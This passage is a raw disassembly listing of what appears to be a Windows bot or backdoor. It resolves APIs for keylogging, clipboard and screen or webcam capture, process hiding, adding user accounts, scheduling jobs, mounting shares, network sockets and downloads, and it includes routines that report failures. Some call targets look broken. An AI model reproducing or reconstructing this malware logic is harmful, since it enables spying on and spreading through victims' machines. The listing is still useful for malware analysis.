jnb short loc_4097A7
and [ebp+var_8], 0
loc_4097A7: ; CODE XREF: sub_409706+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_4097B1
loc_4097AD: ; CODE XREF: sub_409706+90j
; sub_409706+96j
and [ebp+var_8], 0
loc_4097B1: ; CODE XREF: sub_409706+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_409789
cmp [ebp+var_8], 0
jz short loc_4097DE
loc_4097C1: ; CODE XREF: sub_409706+81j
push [ebp+var_14]
push offset dword_43E308
push ebx
push [ebp+arg_0]
push offset unk_42CDC0
push edi
push esi
call sub_41782A
add esp, 1Ch
jmp short loc_4097F6
; ---------------------------------------------------------------------------
loc_4097DE: ; CODE XREF: sub_409706+87j
; sub_409706+B9j
push offset dword_43E308
push ebx
push [ebp+arg_0]
push offset unk_42CE2C
push edi
push esi
call sub_41782A
add esp, 18h
loc_4097F6: ; CODE XREF: sub_409706+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_40974C
push [ebp+var_14]
push 0
nop
call near ptr 26F09F8h
push eax
call near ptr 26E0000h
nop
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_409706 endp
; =============== S U B R O U T I N E =======================================
sub_40981F proc near ; CODE XREF: ___:0040E6F1p
push ebx
push ebp
mov ebp, dword_424100
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4240DC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_40993F
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_43F714, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_43F688, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_43F66C, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_43F588, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_43F534, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_43F564, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_43F5D8, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_43F6C8, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_43F724, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_43F594, eax
call esi
cmp dword_43F714, ebx
mov dword_43F57C, eax
jz short loc_40991D
cmp dword_43F688, ebx
jz short loc_40991D
cmp dword_43F66C, ebx
jz short loc_40991D
cmp dword_43F588, ebx
jz short loc_40991D
cmp dword_43F564, ebx
jz short loc_40991D
cmp dword_43F5D8, ebx
jz short loc_40991D
cmp dword_43F6C8, ebx
jz short loc_40991D
cmp dword_43F724, ebx
jz short loc_40991D
cmp dword_43F594, ebx
jz short loc_40991D
cmp eax, ebx
jnz short loc_409927
loc_40991D: ; CODE XREF: sub_40981F+B8j
; sub_40981F+C0j ...
mov dword_43F728, 1
loc_409927: ; CODE XREF: sub_40981F+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_43F6A0, eax
jz short loc_409954
push 1
push ebx
call eax
jmp short loc_409954
; ---------------------------------------------------------------------------
loc_40993F: ; CODE XREF: sub_40981F+1Dj
call near ptr 2630313h
nop
mov dword_43F72C, eax
mov dword_43F728, 1
loc_409954: ; CODE XREF: sub_40981F+117j
; sub_40981F+11Ej
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26D0C95h
mov edi, eax
cmp edi, ebx
jz loc_409A69
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_43F6C4, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_43F674, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_43F608, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_43F718, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_43F638, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_43F658, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_43F6BC, eax
call esi
cmp dword_43F6C4, ebx
mov dword_43F5B0, eax
jz short loc_409A0D
cmp dword_43F674, ebx
jz short loc_409A0D
cmp dword_43F608, ebx
jz short loc_409A0D
cmp dword_43F718, ebx
jz short loc_409A0D
cmp dword_43F638, ebx
jz short loc_409A0D
cmp dword_43F658, ebx
jz short loc_409A0D
cmp dword_43F6BC, ebx
jz short loc_409A0D
cmp eax, ebx
jnz short loc_409A17
loc_409A0D: ; CODE XREF: sub_40981F+1B8j
; sub_40981F+1C0j ...
mov dword_43F730, 1
loc_409A17: ; CODE XREF: sub_40981F+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_43F634, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_43F548, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_43F604, eax
call esi
cmp dword_43F634, ebx
mov dword_43F5F0, eax
jz short loc_409A74
cmp dword_43F548, ebx
jz short loc_409A74
cmp dword_43F604, ebx
jz short loc_409A74
cmp eax, ebx
jnz short loc_409A7E
jmp short loc_409A74
; ---------------------------------------------------------------------------
loc_409A69: ; CODE XREF: sub_40981F+144j
nop
call near ptr 2630313h
mov dword_43F734, eax
loc_409A74: ; CODE XREF: sub_40981F+232j
; sub_40981F+23Aj ...
mov dword_43F730, 1
loc_409A7E: ; CODE XREF: sub_40981F+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409C19
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_43F6D8, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_43F61C, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_43F68C, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_43F574, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_43F5D4, eax
call esi
cmp dword_43F6D8, ebx
mov dword_43F644, eax
jz short loc_409B09
cmp dword_43F61C, ebx
jz short loc_409B09
cmp dword_43F68C, ebx
jz short loc_409B09
cmp dword_43F574, ebx
jz short loc_409B09
cmp dword_43F5D4, ebx
jz short loc_409B09
cmp eax, ebx
jnz short loc_409B13
loc_409B09: ; CODE XREF: sub_40981F+2C4j
; sub_40981F+2CCj ...
mov dword_43F738, 1
loc_409B13: ; CODE XREF: sub_40981F+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_43F64C, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_43F624, eax
call esi
cmp dword_43F64C, ebx
mov dword_43F6D4, eax
jz short loc_409B4E
cmp dword_43F624, ebx
jz short loc_409B4E
cmp eax, ebx
jnz short loc_409B58
loc_409B4E: ; CODE XREF: sub_40981F+321j
; sub_40981F+329j
mov dword_43F738, 1
loc_409B58: ; CODE XREF: sub_40981F+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_43F65C, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_43F550, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_43F558, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_43F5B8, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_43F5BC, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_43F56C, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_43F628, eax
call esi
cmp dword_43F65C, ebx
mov dword_43F55C, eax
jz short loc_409BFC
cmp dword_43F550, ebx
jz short loc_409BFC
cmp dword_43F558, ebx
jz short loc_409BFC
cmp dword_43F5B8, ebx
jz short loc_409BFC
cmp dword_43F5BC, ebx
jz short loc_409BFC
cmp dword_43F56C, ebx
jz short loc_409BFC
cmp dword_43F628, ebx
jz short loc_409BFC
cmp eax, ebx
jnz short loc_409C06
loc_409BFC: ; CODE XREF: sub_40981F+3A7j
; sub_40981F+3AFj ...
mov dword_43F738, 1
loc_409C06: ; CODE XREF: sub_40981F+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_43F554, eax
jnz short loc_409C2E
jmp short loc_409C24
; ---------------------------------------------------------------------------
loc_409C19: ; CODE XREF: sub_40981F+26Aj
nop
call near ptr 2630313h
mov dword_43F73C, eax
loc_409C24: ; CODE XREF: sub_40981F+3F8j
mov dword_43F738, 1
loc_409C2E: ; CODE XREF: sub_40981F+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409CFA
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_43F654, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_43F6AC, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_43F6B4, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_43F670, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_43F598, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_43F544, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_43F6B0, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_43F530, eax
call esi
cmp dword_43F654, ebx
mov dword_43F5CC, eax
jz short loc_409D05
cmp dword_43F6AC, ebx
jz short loc_409D05
cmp dword_43F6B4, ebx
jz short loc_409D05
cmp dword_43F670, ebx
jz short loc_409D05
cmp dword_43F598, ebx
jz short loc_409D05
cmp dword_43F544, ebx
jz short loc_409D05
cmp dword_43F6B0, ebx
jz short loc_409D05
cmp dword_43F530, ebx
jz short loc_409D05
cmp eax, ebx
jnz short loc_409D0F
jmp short loc_409D05
; ---------------------------------------------------------------------------
loc_409CFA: ; CODE XREF: sub_40981F+41Aj
call near ptr 2630313h
nop
mov dword_43F744, eax
loc_409D05: ; CODE XREF: sub_40981F+49Bj
; sub_40981F+4A3j ...
mov dword_43F740, 1
loc_409D0F: ; CODE XREF: sub_40981F+4D7j
mov ebp, dword_4240E0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409FCB
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_43F5E0, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_43F70C, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_43F584, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_43F560, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_43F614, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_43F5FC, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_43F5C8, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_43F6E8, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_43F704, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_43F610, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_43F6F4, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_43F6A8, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_43F668, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_43F664, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_43F5A4, eax
call esi
push offset aSend ; "send"
push edi
mov dword_43F59C, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_43F6B8, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_43F6CC, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_43F680, eax
call esi
mov dword_43F640, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_43F694, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_43F650, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_43F690, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_43F6FC, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_43F648, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_43F60C, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_43F67C, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_43F6EC, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_43F620, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_43F5C4, eax
call esi
cmp dword_43F5E0, ebx
mov dword_43F700, eax
jz loc_409FD6
cmp dword_43F70C, ebx
jz loc_409FD6
cmp dword_43F584, ebx
jz loc_409FD6
cmp dword_43F614, ebx
jz loc_409FD6
cmp dword_43F5FC, ebx
jz loc_409FD6
cmp dword_43F5C8, ebx
jz loc_409FD6
cmp dword_43F6E8, ebx
jz loc_409FD6
cmp dword_43F704, ebx
jz loc_409FD6
cmp dword_43F610, ebx
jz loc_409FD6
cmp dword_43F6F4, ebx
jz loc_409FD6
cmp dword_43F6A8, ebx
jz loc_409FD6
cmp dword_43F668, ebx
jz loc_409FD6
cmp dword_43F664, ebx
jz loc_409FD6
cmp dword_43F5A4, ebx
jz short loc_409FD6
cmp dword_43F6B8, ebx
jz short loc_409FD6
cmp dword_43F6CC, ebx
jz short loc_409FD6
cmp dword_43F680, ebx
jz short loc_409FD6
cmp dword_43F640, ebx
jz short loc_409FD6
cmp dword_43F694, ebx
jz short loc_409FD6
cmp dword_43F650, ebx
jz short loc_409FD6
cmp dword_43F690, ebx
jz short loc_409FD6
cmp dword_43F6FC, ebx
jz short loc_409FD6
cmp dword_43F648, ebx
jz short loc_409FD6
cmp dword_43F60C, ebx
jz short loc_409FD6
cmp dword_43F67C, ebx
jz short loc_409FD6
cmp dword_43F6EC, ebx
jz short loc_409FD6
cmp dword_43F620, ebx
jz short loc_409FD6
cmp eax, ebx
jnz short loc_409FE0
jmp short loc_409FD6
; ---------------------------------------------------------------------------
loc_409FCB: ; CODE XREF: sub_40981F+501j
nop
call near ptr 2630313h
mov dword_43F74C, eax
loc_409FD6: ; CODE XREF: sub_40981F+6A0j
; sub_40981F+6ACj ...
mov dword_43F748, 1
loc_409FE0: ; CODE XREF: sub_40981F+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A0E5
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_43F5AC, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_43F538, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_43F630, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_43F5E4, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_43F63C, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_43F600, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_43F578, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_43F570, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_43F580, eax
call esi
cmp dword_43F5AC, ebx
mov ecx, dword_43F600
mov dword_43F69C, eax
jz short loc_40A0C1
cmp dword_43F538, ebx
jz short loc_40A0C1
cmp dword_43F630, ebx
jz short loc_40A0C1
cmp dword_43F5E4, ebx
jz short loc_40A0C1
cmp dword_43F63C, ebx
jz short loc_40A0C1
cmp ecx, ebx
jz short loc_40A0C1
cmp dword_43F578, ebx
jz short loc_40A0C1
cmp dword_43F570, ebx
jz short loc_40A0C1
cmp dword_43F580, ebx
jz short loc_40A0C1
cmp eax, ebx
jnz short loc_40A0CB
loc_40A0C1: ; CODE XREF: sub_40981F+860j
; sub_40981F+868j ...
mov dword_43F750, 1
loc_40A0CB: ; CODE XREF: sub_40981F+8A0j
cmp ecx, ebx
jz short loc_40A100
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_43F618, eax
jnz short loc_40A100
jmp short loc_40A0FA
; ---------------------------------------------------------------------------
loc_40A0E5: ; CODE XREF: sub_40981F+7CCj
nop
call near ptr 2630313h
mov dword_43F754, eax
mov dword_43F750, 1
loc_40A0FA: ; CODE XREF: sub_40981F+8C4j
mov dword_43F618, ebx
loc_40A100: ; CODE XREF: sub_40981F+8AEj
; sub_40981F+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A14A
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_43F5F4, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_43F720, eax
call esi
cmp dword_43F5F4, ebx
mov dword_43F58C, eax
jz short loc_40A155
cmp dword_43F720, ebx
jz short loc_40A155
cmp eax, ebx
jnz short loc_40A15F
jmp short loc_40A155
; ---------------------------------------------------------------------------
loc_40A14A: ; CODE XREF: sub_40981F+8ECj
nop
call near ptr 2630313h
mov dword_43F75C, eax
loc_40A155: ; CODE XREF: sub_40981F+91Bj
; sub_40981F+923j ...
mov dword_43F758, 1
loc_40A15F: ; CODE XREF: sub_40981F+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A255
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_43F568, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_43F540, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_43F5B4, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_43F5E8, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_43F6F8, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_43F5A0, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_43F54C, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_43F53C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_43F5D0, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_43F6C0, eax
call esi
cmp dword_43F568, ebx
mov dword_43F678, eax
jz short loc_40A260
cmp dword_43F540, ebx
jz short loc_40A260
cmp dword_43F5B4, ebx
jz short loc_40A260
cmp dword_43F5E8, ebx
jz short loc_40A260
cmp dword_43F6F8, ebx
jz short loc_40A260
cmp dword_43F5A0, ebx
jz short loc_40A260
cmp dword_43F54C, ebx
jz short loc_40A260
cmp dword_43F53C, ebx
jz short loc_40A260
cmp dword_43F5D0, ebx
jz short loc_40A260
cmp dword_43F6C0, ebx
jz short loc_40A260
cmp eax, ebx
jnz short loc_40A26A
jmp short loc_40A260
; ---------------------------------------------------------------------------
loc_40A255: ; CODE XREF: sub_40981F+94Bj
nop
call near ptr 2630313h
mov dword_43F764, eax
loc_40A260: ; CODE XREF: sub_40981F+9E6j
; sub_40981F+9EEj ...
mov dword_43F760, 1
loc_40A26A: ; CODE XREF: sub_40981F+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A29F
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_43F590, eax
call esi
cmp dword_43F590, ebx
mov dword_43F660, eax
jz short loc_40A2AA
cmp eax, ebx
jnz short loc_40A2B4
jmp short loc_40A2AA
; ---------------------------------------------------------------------------
loc_40A29F: ; CODE XREF: sub_40981F+A56j
call near ptr 2630313h
nop
mov dword_43F76C, eax
loc_40A2AA: ; CODE XREF: sub_40981F+A78j
; sub_40981F+A7Ej
mov dword_43F768, 1
loc_40A2B4: ; CODE XREF: sub_40981F+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A2E9
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_43F6E4, eax
call esi
cmp dword_43F6E4, ebx
mov dword_43F6E0, eax
jz short loc_40A2F4
cmp eax, ebx
jnz short loc_40A2FE
jmp short loc_40A2F4
; ---------------------------------------------------------------------------
loc_40A2E9: ; CODE XREF: sub_40981F+AA0j
nop
call near ptr 2630313h
mov dword_43F774, eax
loc_40A2F4: ; CODE XREF: sub_40981F+AC2j
; sub_40981F+AC8j
mov dword_43F770, 1
loc_40A2FE: ; CODE XREF: sub_40981F+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A35D
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_43F710, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_43F708, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_43F6D0, eax
call esi
cmp dword_43F710, ebx
mov dword_43F5A8, eax
jz short loc_40A368
cmp dword_43F708, ebx
jz short loc_40A368
cmp dword_43F6D0, ebx
jz short loc_40A368
cmp eax, ebx
jnz short loc_40A372
jmp short loc_40A368
; ---------------------------------------------------------------------------
loc_40A35D: ; CODE XREF: sub_40981F+AEAj
call near ptr 2630313h
nop
mov dword_43F77C, eax
loc_40A368: ; CODE XREF: sub_40981F+B26j
; sub_40981F+B2Ej ...
mov dword_43F778, 1
loc_40A372: ; CODE XREF: sub_40981F+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A3A7
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_43F5DC, eax
call esi
cmp dword_43F5DC, ebx
mov dword_43F6DC, eax
jz short loc_40A3B2
cmp eax, ebx
jnz short loc_40A3BC
jmp short loc_40A3B2
; ---------------------------------------------------------------------------
loc_40A3A7: ; CODE XREF: sub_40981F+B5Ej
nop
call near ptr 2630313h
mov dword_43F784, eax
loc_40A3B2: ; CODE XREF: sub_40981F+B80j
; sub_40981F+B86j
mov dword_43F780, 1
loc_40A3BC: ; CODE XREF: sub_40981F+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A445
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_43F6A4, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_43F6F0, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_43F62C, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_43F5EC, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_43F684, eax
call esi
cmp dword_43F6A4, ebx
mov dword_43F5F8, eax
jz short loc_40A450
cmp dword_43F6F0, ebx
jz short loc_40A450
cmp dword_43F62C, ebx
jz short loc_40A450
cmp dword_43F5EC, ebx
jz short loc_40A450
cmp dword_43F684, ebx
jz short loc_40A450
cmp eax, ebx
jnz short loc_40A45A
jmp short loc_40A450
; ---------------------------------------------------------------------------
loc_40A445: ; CODE XREF: sub_40981F+BA8j
nop
call near ptr 2630313h
mov dword_43F78C, eax
loc_40A450: ; CODE XREF: sub_40981F+BFEj
; sub_40981F+C06j ...
mov dword_43F788, 1
loc_40A45A: ; CODE XREF: sub_40981F+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A48F
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_43F5C0, eax
call esi
cmp dword_43F5C0, ebx
mov dword_43F698, eax
jz short loc_40A49A
cmp eax, ebx
jnz short loc_40A4A4
jmp short loc_40A49A
; ---------------------------------------------------------------------------
loc_40A48F: ; CODE XREF: sub_40981F+C46j
call near ptr 2630313h
nop
mov dword_43F794, eax
loc_40A49A: ; CODE XREF: sub_40981F+C68j
; sub_40981F+C6Ej
mov dword_43F790, 1
loc_40A4A4: ; CODE XREF: sub_40981F+C6Cj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40981F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A4AC proc near ; CODE XREF: sub_40EE72+57D3p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_43F728, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A4F4
push dword_43F72C
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A4F4: ; CODE XREF: sub_40A4AC+1Aj
cmp dword_43F730, esi
jz short loc_40A528
push dword_43F734
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A528: ; CODE XREF: sub_40A4AC+4Ej
cmp dword_43F738, esi
jz short loc_40A55C
push dword_43F73C
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A55C: ; CODE XREF: sub_40A4AC+82j
cmp dword_43F740, esi
jz short loc_40A590
push dword_43F744
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A590: ; CODE XREF: sub_40A4AC+B6j
cmp dword_43F748, esi
jz short loc_40A5C4
push dword_43F74C
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A5C4: ; CODE XREF: sub_40A4AC+EAj
cmp dword_43F750, esi
jz short loc_40A5F8
push dword_43F754
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A5F8: ; CODE XREF: sub_40A4AC+11Ej
cmp dword_43F758, esi
jz short loc_40A62C
push dword_43F75C
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A62C: ; CODE XREF: sub_40A4AC+152j
cmp dword_43F760, esi
jz short loc_40A660
push dword_43F764
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A660: ; CODE XREF: sub_40A4AC+186j
cmp dword_43F768, esi
jz short loc_40A694
push dword_43F76C
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A694: ; CODE XREF: sub_40A4AC+1BAj
cmp dword_43F770, esi
jz short loc_40A6C8
push dword_43F774
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A6C8: ; CODE XREF: sub_40A4AC+1EEj
